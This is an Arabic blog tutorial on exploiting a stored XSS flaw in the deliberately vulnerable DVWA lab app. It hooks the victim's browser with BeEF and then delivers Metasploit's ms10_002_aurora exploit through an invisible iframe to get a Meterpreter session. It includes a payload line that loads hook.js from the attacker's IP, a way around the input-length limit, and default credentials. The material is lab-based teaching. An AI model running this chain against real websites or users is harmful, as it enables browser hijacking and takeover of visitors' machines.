كيف يتم اختراق المواقع المصابة بثغرة XSS والحصول على جلسة Meterpreter
مرحبًا يا شباب ، سنتعرف اليوم على كيفية استغلال ثغرة البرمجة عبر الموقع (XSS) والوصول إلى نظام العميل عبر meterpreter. تبدو غريبة ؟؟ دعونا نلقي نظرة عليه. قبل المتابعة ، نحتاج إلى معرفة الموضوعات والأدوات التالية.
ما هي البرمجة النصية عبر الموقع (XSS)؟
البرمجة النصية عبر المواقع (XSS) هي هجوم إدخال رمز يسمح للمهاجم بتنفيذ JavaScript ضار في متصفح مستخدم آخر.
المهاجم لا يستهدف ضحيته مباشرة. بدلاً من ذلك ، يستغل ثغرة أمنية في موقع ويب يزوره الضحية ، من أجل جعل الموقع يقدم JavaScript ضارًا له. بالنسبة لمتصفح الضحية ، يبدو أن جافا سكريبت الضار جزء شرعي من موقع الويب ، وبالتالي فإن موقع الويب قد عمل كشريك غير مقصود للمهاجم.
أنواع XSS
في حين أن الهدف من هجوم XSS هو دائمًا تنفيذ جافا سكريبت ضار في متصفح الضحية ، إلا أن هناك عددًا قليلاً من الطرق المختلفة الأساسية لتحقيق هذا الهدف. تنقسم هجمات XSS غالبًا إلى ثلاثة أنواع:
XSS المُخزَّن: أكثر أنواع XSS ضررًا هو XSS المُخزَّن (الثابت). تتضمن هجمات XSS المخزنة مهاجمًا يقوم بحقن نص برمجي (يُشار إليه بالحمولة) يتم تخزينه بشكل دائم (مستمر) على التطبيق الهدف (على سبيل المثال داخل قاعدة بيانات). المثال الكلاسيكي لـ XSS المخزن هو نص برمجي ضار أدخله مهاجم في حقل تعليق على مدونة أو في منشور في المنتدى.
عندما ينتقل الضحية إلى صفحة الويب المتأثرة في المستعرض ، سيتم تقديم حمولة XSS كجزء من صفحة الويب (تمامًا كما يفعل التعليق الشرعي). وهذا يعني أن الضحايا سينتهي بهم الأمر عن غير قصد بتنفيذ البرنامج النصي الضار بمجرد عرض الصفحة في المستعرض.
سنستغل XSS المخزنة أو الدائمة لهذا العرض التوضيحي ولكن يمكن أيضًا استغلال نوعين آخرين.
XSS المنعكس: في Reflected XSS ، يجب أن يكون نص تحميل المهاجم جزءًا من الطلب الذي يتم إرساله إلى خادم الويب وينعكس مرة أخرى بطريقة تتضمن استجابة HTTP الحمولة من طلب HTTP. باستخدام رسائل البريد الإلكتروني الخادعة وتقنيات الهندسة الاجتماعية الأخرى ، يجذب المهاجم الضحية لتقديم طلب عن غير قصد إلى الخادم الذي يحتوي على حمولة XSS وينتهي به الأمر بتنفيذ البرنامج النصي الذي ينعكس وينفذ داخل المتصفح. نظرًا لأن Reflected XSS ليس هجومًا مستمرًا ، يحتاج المهاجم إلى تسليم الحمولة لكل ضحية - غالبًا ما يتم استخدام الشبكات الاجتماعية بشكل ملائم لنشر هجمات XSS المنعكسة.
DOM-based XSS المستندة إلى DOM: XSS المستندة إلى DOM هي نوع متقدم من هجمات XSS التي أصبحت ممكنة عندما تكتب البرامج النصية من جانب العميل لتطبيق الويب البيانات المقدمة من المستخدم إلى Document Object Model (DOM). تتم قراءة البيانات لاحقًا من DOM بواسطة تطبيق الويب وإخراجها إلى المتصفح. إذا تم التعامل مع البيانات بشكل غير صحيح ، يمكن للمهاجم حقن حمولة ، والتي سيتم تخزينها كجزء من DOM وتنفيذها عند إعادة البيانات من DOM.
إعداد المعمل:
IP الضحية: 192.168.0.103
نظام تشغيل الضحية: Windows XP
متصفح الضحية: Internet Explorer 6.0
تطبيق الويب الضعيف: تطبيق الويب الضعيف (DVWA)
IP للمهاجم: 192.168.0.104
نظام تشغيل المهاجم: BackBox 4.7 [تثبيت BeEf و Metasploit]
الأدوات:
BeEF: بيف أو بالانجيلزية BeEF هو الشكل المختصر لإطار استغلال المتصفح. هذا هو جوهر استغلالنا. يمكن استخدام BeEF "بأمان" لاستغلال الثغرات الأمنية المستندة إلى الويب والمستعرض مثل البرمجة النصية عبر المواقع (XSS) باستخدام موجهات الهجوم من جانب العميل. إذا نقر المستخدم على رابط وضعه BeEf هناك ، فسيقوم بتوصيل متصفح المستخدم بخادم BeEF. ثم باستخدام وحدة مختلفة داخل BeEF ، يمكننا تنفيذ العديد من الأنشطة الضارة مثل الاحتيال وسرقة كلمة المرور واكتشاف مكونات المتصفح وجعل متصفح الضحية لتنزيل أي ملف ضار وما إلى ذلك.
Metasploit: لا تعرف حقًا كيفية وصف metasploit ، فهناك العديد من الباحثين الأمنيين ومختبري القلم والعديد من المدونات والمواقع لتجعلك تفهم ما هو metasploit وما هي وظيفة metasploit. لذلك لا أريد وصف metasploit في هذه الفقرة الصغيرة. بكلمات واحدة ، بدون استخدام metasploit ، فإن وظيفتها الصعبة للغاية هي اختبار الاختراق. إنه في الأساس إطار عمل استغلال ولكن يمكننا استخدام metasploit لتطوير الاستغلال وتهرب مكافحة الفيروسات ومولد الملفات الضارة وغير ذلك الكثير. يجب أن تعرف metasploit جيدًا إذا كنت تريد أن تكون في مجال الأمن السيبراني.
تطبيق الويب الضعيف (DVWA): تطبيق الويب الضعيف هذا (DVWA) هو تطبيق ويب PHP / MySQL ضعيف للغاية. تتمثل أهدافها الرئيسية في أن تكون مساعدة لمحترفي الأمن لاختبار مهاراتهم وأدواتهم في بيئة قانونية ، ومساعدة مطوري الويب على فهم عمليات تأمين تطبيقات الويب بشكل أفضل ومساعدة المعلمين / الطلاب على تعليم / تعلم أمان تطبيقات الويب في بيئة غرفة الصف . في العرض التوضيحي الخاص بنا ، نستخدم شريحة "Stored XSS".
سيناريو:
- وجد المهاجم موقعًا يخزن ثغرة أمنية في البرمجة النصية عبر المواقع.
- يقوم المهاجم بتكوين BeEF في نظامه ويقوم بإنشاء رابط يربط متصفح الضحايا كلما تم النقر على الرابط.
- يقوم المهاجم بحقن جافا سكريبت الخبيث بهذا الرابط القابل للتوصيل من BeEF في الموقع.
- عندما يفتح الضحية الصفحة المعرضة للخطر ، سيتم تشغيل الرابط المحقون وسيتم ربط متصفح الضحية بواسطة BeEF.
- يختار المهاجم أي ثغرة أمنية تعتمد على المتصفح داخل metasploit حيث سيتم إنشاء ارتباط ويجب أن ينقر عليه المستخدم لاستغلاله بنجاح.
- عبر وحدة BeEF ، سينشئ المهاجم إطار iFrame غير مرئي مع رابط تم إنشاؤه باستخدام metasploit وينفذ ذلك داخل متصفح الضحية المتصل دون تفاعل الضحية.
إذا سارت الأمور على ما يرام ، فسوف نتمكن من الوصول إلى نظام الضحية.
ملاحظة: إذا وجدت الأمر معقدًا فلا داعي للقلق. اتبع الخطوات التالية.
الخطوات:
تم تثبيت DVWA داخل الجهاز 192.168.0.103. من جهاز المهاجم يمكن الوصول إليه عبر المتصفح. إذا قمت بتثبيت DVWA لأول مرة ، فإن المستخدم الافتراضي وكلمة المرور هما admin: password.
تم بالفعل تثبيت BeEF داخل BackBox. (أو أي نظام آخر, ليس شرطاً BackBox) يتواجد داخل قائمة القائمة التالية.
أثناء النقر فوق BeEF ، تم البدء بسطر الأوامر.
- توضح الصورة أعلاه أن عنوان URL القابل للتوصيل هو: http://192.168.0.104:3000/hook.js وهذا يعني أن على المهاجم استخدام هذا الرابط كحمولة من XSS
- حان الوقت الآن لتسجيل الدخول إلى BeEF باستخدام: http://127.0.0.1:3000/ui/panel
- بيانات اعتماد تسجيل الدخول الافتراضية لـ BeEF هي beef: beef
هناك خياران في BeEF. واحد هو متصفح الإنترنت والآخر هو متصفح غير متصل. يشير المستعرض عبر الإنترنت إلى تلك المتصفحات الموصولة المتصلة بالإنترنت وغير المتصلة والتي تشير إلى تلك المتصفحات غير النشطة. نظرًا لأن حمولة XSS الخاصة بنا لم يتم بناؤها بعد ، فلا يوجد متصفح مدرج هنا.
حان الوقت الآن لحقن جافا سكريبت ضار بحمولة BeEF
(hook.js). لهذا ، يحتاج المهاجم إلى تسجيل الدخول إلى dvwa وتحديد قسم "Stored XSS". في هذا المقطع هناك قضية طول. يجب أن يكون طول الرسالة 50 حرفًا. لذلك يحتاج المهاجم إلى تجاوز ذلك عن طريق تغيير قيمة طول الحرف باستخدام "فحص العنصر". حمولة xss: http://192.168.0.104:3000/hook.js/script
الآن انتهينا من المهاجم. أثناء فتح الضحية لتلك الصفحة في متصفح Internet Explorer لجهازه / جهازها ، سيظهر متصفح الضحية المدمن مخدرات في BeEF "متصفح الإنترنت". لاحظ أن أمان DVWA يجب أن يكون "منخفضًا" في نهاية الضحية.
عندما يجد المهاجم هدفه في "متصفح الإنترنت" ، فإن خطوته التالية ستؤدي إلى أي استغلال يعتمد على المتصفح. الثغرات المعتمدة على المتصفح هي تلك الثغرات حيث تعطي metasploit عنوان URL ويتعين على المهاجمين إقناع الضحية بفتح عنوان URL في متصفح الضحية. بدلاً من إقناع الضحية بفتح عنوان URL الضار ، يوفر BeEF خيارًا للمهاجم لتنفيذ عنوان URL مثل iframe. هناك الكثير من عمليات الاستغلال المتاحة داخل metasploit بخصوص المتصفح. من بينها يختار المهاجم: استغلال /windows / browser / ms10_002_aurora
هناك الكثير من الوحدات والوحدات الفرعية في BeEF. من بينها "إنشاء إطار iframe غير مرئي" هو الخيار الأول. لكن توصيتي هي تجربة وحدات مختلفة أيضًا للاختبار. كل وحدة لها وظائف مختلفة. حاول استكشافها.
بعد التنفيذ الناجح لإطار iframe باستخدام الحمولة الصافية الناتجة عن metasploit ، تُظهر محطة metasploit الخاصة بنا أن المهاجم قد اخترق نظام الضحية.
المراجع:
https://www.acunetix.com/websitesecurity/xss/
https://excess-xss.com/
https://bugtestlab.com/?p=369
وإلى هنا قد انتهينا من كتابة مقال اليوم, أرجو أن أكون قد أفدتكُم وشكراً لحسن قرائتكم 🌺
مصطلحات نسمعها فى الاختراقات الإلكترونية:-
إرسال تعليق